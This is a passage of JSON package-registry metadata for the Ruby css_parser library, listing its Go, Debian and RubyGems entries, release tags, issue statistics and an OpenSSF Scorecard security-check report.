ags/1.0.0/manifests"},{"name":"0.9.0","sha":"52cad828e161ab3bab7217a13d02fd87d0bf2579","kind":"commit","published_at":"2008-06-25T16:42:17.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/0.9.0","html_url":"https://github.com/premailer/css_parser/releases/tag/0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/0.9.0/manifests"}]},"repo_metadata_updated_at":"2025-08-30T03:51:16.730Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":10.801592556016239,"dependent_packages_count":9.575730298247606,"stargazers_count":3.2753371641135924,"forks_count":2.4982913811452656,"docker_downloads_count":null,"average":6.537737849880676},"purl":"pkg:golang/github.com/premailer/css_parser","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/premailer/css_parser","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/premailer/css_parser","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/premailer/css_parser/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-08-30T03:32:32.392Z","issues_count":40,"pull_requests_count":95,"avg_time_to_close_issue":25826749.25,"avg_time_to_close_pull_request":11704321.626373626,"issues_closed_count":24,"pull_requests_closed_count":91,"pull_request_authors_count":59,"issue_authors_count":35,"avg_comments_per_issue":2.625,"avg_comments_per_pull_request":1.8210526315789475,"merged_pull_requests_count":78,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":2,"past_year_pull_requests_count":6,"past_year_avg_time_to_close_issue":31778.0,"past_year_avg_time_to_close_pull_request":472547.8333333333,"past_year_issues_closed_count":1,"past_year_pull_requests_closed_count":6,"past_year_pull_request_authors_count":3,"past_year_issue_authors_count":1,"past_year_avg_comments_per_issue":0.5,"past_year_avg_comments_per_pull_request":1.6666666666666667,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":6,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/issues","maintainers":[],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpremailer%2Fcss_parser/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpremailer%2Fcss_parser/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpremailer%2Fcss_parser/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpremailer%2Fcss_parser/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpremailer%2Fcss_parser/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpremailer%2Fcss_parser/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2207828,"maintainers_count":0,"namespaces_count":792747,"keywords_count":113213,"github":"golang","metadata":{"funded_packages_count":53976},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-06-10T05:03:23.672Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":13668748,"name":"ruby-css-parser","ecosystem":"debian","description":null,"homepage":"https://github.com/premailer/css_parser","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/premailer/css_parser","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-12T12:19:44.691Z","latest_release_published_at":"2026-02-12T12:19:44.691Z","latest_release_number":"1.19.0-1","last_synced_at":"2026-03-14T18:07:04.911Z","created_at":"2026-02-12T12:19:44.438Z","updated_at":"2026-03-14T18:07:04.911Z","registry_url":"https://tracker.debian.org/pkg/ruby-css-parser","install_command":"apt-get install ruby-css-parser","documentation_url":"https://packages.debian.org/trixie/ruby-css-parser","metadata":{"component":"main","architecture":"all","priority":"optional","binary":"ruby-css-parser","standards_version":"4.7.0","maintainer":"Debian Ruby Team \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), gem2deb, rake, ruby-addressable, ruby-maxitest, ruby-test-unit, ruby-webrick (\u003e= 1.7.0)","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-12T12:19:52.610Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/ruby-css-parser?arch=source\u0026distro=debian-13\u0026repository_url=https://packages.debian.org/trixie","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/ruby-css-parser","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/ruby-css-parser","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/ruby-css-parser/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/ruby-css-parser/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/ruby-css-parser/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/ruby-css-parser/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/ruby-css-parser/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/ruby-css-parser/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/ruby-css-parser/codemeta","maintainers":[],"registry":{"name":"debian-13","url":"https://packages.debian.org/trixie","ecosystem":"debian","default":false,"packages_count":38024,"maintainers_count":0,"namespaces_count":4,"keywords_count":1987,"github":"debian","metadata":{"codename":"trixie","funded_packages_count":316},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:50.448Z","updated_at":"2026-06-10T05:17:04.542Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/namespaces"}},{"id":184343,"name":"css_parser","ecosystem":"rubygems","description":"A set of classes for parsing CSS in Ruby.","homepage":"https://github.com/premailer/css_parser","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/premailer/css_parser","keywords_array":[],"namespace":null,"versions_count":65,"first_release_published_at":"2009-07-25T18:28:07.000Z","latest_release_published_at":"2026-06-01T23:44:10.966Z","latest_release_number":"3.0.0","last_synced_at":"2026-07-12T01:01:12.358Z","created_at":"2022-04-05T20:07:17.869Z","updated_at":"2026-07-12T01:03:11.738Z","registry_url":"https://rubygems.org/gems/css_parser","install_command":"gem install css_parser -s https://rubygems.org","documentation_url":"http://www.rubydoc.info/gems/css_parser/","metadata":{"funding":null},"repo_metadata":{"id":45434787,"uuid":"408234","full_name":"premailer/css_parser","owner":"premailer","description":"Ruby CSS Parser","archived":false,"fork":false,"pushed_at":"2026-06-01T23:43:52.000Z","size":719,"stargazers_count":299,"open_issues_count":24,"forks_count":114,"subscribers_count":9,"default_branch":"master","last_synced_at":"2026-07-05T22:04:47.050Z","etag":null,"topics":["css-parser","ruby"],"latest_commit_sha":null,"homepage":"","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/premailer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"MIT-LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2009-12-08T17:22:24.000Z","updated_at":"2026-06-01T23:43:54.000Z","dependencies_parsed_at":"2026-03-04T23:00:45.229Z","dependency_job_id":"5d004eae-f722-497f-bafc-9a7b9fb502ad","html_url":"https://github.com/premailer/css_parser","commit_stats":{"total_commits":380,"total_committers":69,"mean_commits":5.507246376811594,"dds":0.781578947368421,"last_synced_commit":"54b8ea5d542297efd0690bd22e390cf7640ee7d3"},"previous_names":["alexdunae/css_parser"],"tags_count":62,"template":false,"template_full_name":null,"purl":"pkg:github/premailer/css_parser","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/premailer","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/sbom","scorecard":{"id":181202,"data":{"date":"2025-08-04","repo":{"name":"github.com/premailer/css_parser","commit":"2ef7dcaaf9ceaba6652d67a875e4df5e76d8950f"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.1,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Code-Review","score":5,"reason":"Found 10/19 approved changesets -- score normalized to 5","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: MIT-LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-2rxp-v6pw-ch6m","Warn: Project is vulnerable to: GHSA-4xqq-m2hx-25v8","Warn: Project is vulnerable to: GHSA-5866-49gr-22v4","Warn: Project is vulnerable to: GHSA-r55c-59qm-vjw6","Warn: Project is vulnerable to: GHSA-vg3r-rm7w-2xgh","Warn: Project is vulnerable to: GHSA-vmwr-mc7x-5vc3","Warn: Project is vulnerable to: GHSA-6f62-3596-g6w7","Warn: Project is vulnerable to: GHSA-r995-q44h-hr64"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 22 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-16T18:54:19.860Z","repository_id":45434787,"created_at":"2025-08-16T18:54:19.860Z","updated_at":"2025-08-16T18:54:19.860Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":35378727,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-07-11T02:00:05.354Z","response_time":104,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"premailer","name":"premailer","uuid":"5750522","kind":"organization","description":null,"email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/5750522?v=4","repositories_count":5,"last_synced_at":"2024-04-21T03:04:42.616Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/premailer","funding_links":[],"total_stars":2670,"followers":4,"following":0,"created_at":"2022-11-02T16:36:22.230Z","updated_at":"2024-04-21T03:04:43.062Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/premailer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/premailer/repositories"},"tags":[{"name":"v1.22.0","sha":"040895b7e554f4afbbf1a0dbd239eb2b85de7c32","kind":"tag","published_at":"2026-05-07T21:46:46.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.22.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.22.0/manifests"},{"name":"v2.2.0","sha":"cee10f16b11dd175f17b0e5f6aefa488378e964b","kind":"tag","published_at":"2026-05-07T18:43:42.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v2.2.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v2.2.0/manifests"},{"name":"v2.1.0","sha":"300f130705f3b358039b8e848f659f971045b88b","kind":"tag","published_at":"2026-04-28T00:11:11.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v2.1.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"6fac0255b37ac468f8dde5b0da56d1b60e528310","kind":"tag","published_at":"2026-02-23T22:00:18.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v2.0.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v2.0.0/manifests"},{"name":"v1.21.1","sha":"89c81113fa040dc3aa97d1423b85234d00a9f68a","kind":"tag","published_at":"2025-03-09T20:29:13.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.21.1","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.21.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.21.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.21.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.21.1/manifests"},{"name":"v1.21.0","sha":"cff1ddba66a9aca22a15ebdaaf6cbd35c2652381","kind":"tag","published_at":"2024-12-13T16:46:38.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.21.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.21.0/manifests"},{"name":"v1.20.0","sha":"f5bfeefc96838d56f86b1a2693af6ec62779c51f","kind":"tag","published_at":"2024-12-12T16:10:50.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.20.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.20.0/manifests"},{"name":"v1.19.1","sha":"837146affae8057200770287db4753b973063a2a","kind":"tag","published_at":"2024-10-13T15:47:53.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.19.1","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.19.1/manifests"},{"name":"v1.19.0","sha":"fa1a78f77a6e4d1e220f16723df0a78dbe740f09","kind":"tag","published_at":"2024-08-23T15:17:49.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.19.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.19.0/manifests"},{"name":"v1.17.1","sha":"6beca94c2dbb1ebce0c5281997849b7601ef7f03","kind":"tag","published_at":"2024-04-07T16:12:54.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.17.1","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.17.1/manifests"},{"name":"v1.17.0","sha":"25605b7b0e76d517f6269945bdffd02cf760484d","kind":"tag","published_at":"2024-04-06T18:10:24.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.17.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.17.0/manifests"},{"name":"v1.16.0","sha":"8167588ea302df8a5ff7917e875f9f59fcf2b76b","kind":"tag","published_at":"2023-09-01T05:08:27.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.16.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.16.0/manifests"},{"name":"v1.15.0","sha":"71f1603784516f396ebebf4284349fdb56a5957c","kind":"tag","published_at":"2023-08-29T17:07:42.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.15.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.15.0/manifests"},{"name":"v1.14.0","sha":"b94277e08c11e6f93836ac1480d5aa85fa567bcb","kind":"tag","published_at":"2023-01-09T18:36:38.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.14.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.14.0/manifests"},{"name":"v1.13.0","sha":"5765e6cb05da85db6820f8ed5dd1baa1edf267fb","kind":"tag","published_at":"2022-12-29T21:49:06.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.13.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.13.0/manifests"},{"name":"v1.12.0","sha":"c4545cf19f31bb513ef1beda536936cca2d1c319","kind":"tag","published_at":"2022-09-16T00:25:30.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.12.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.12.0/manifests"},{"name":"v1.11.0","sha":"db6960989dacede7ffa653413e0f3ef632974c54","kind":"tag","published_at":"2021-12-14T05:11:23.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.11.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.11.0/manifests"},{"name":"v1.10.0","sha":"a672607635b11df2ad6c39913cebbf7944a2735d","kind":"tag","published_at":"2021-07-27T18:45:01.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.10.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.10.0/manifests"},{"name":"v1.9.0","sha":"dc86d5bb3dd7d6bc5a9245aaddf18c8351cb2825","kind":"tag","published_at":"2021-02-04T16:08:19.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.9.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p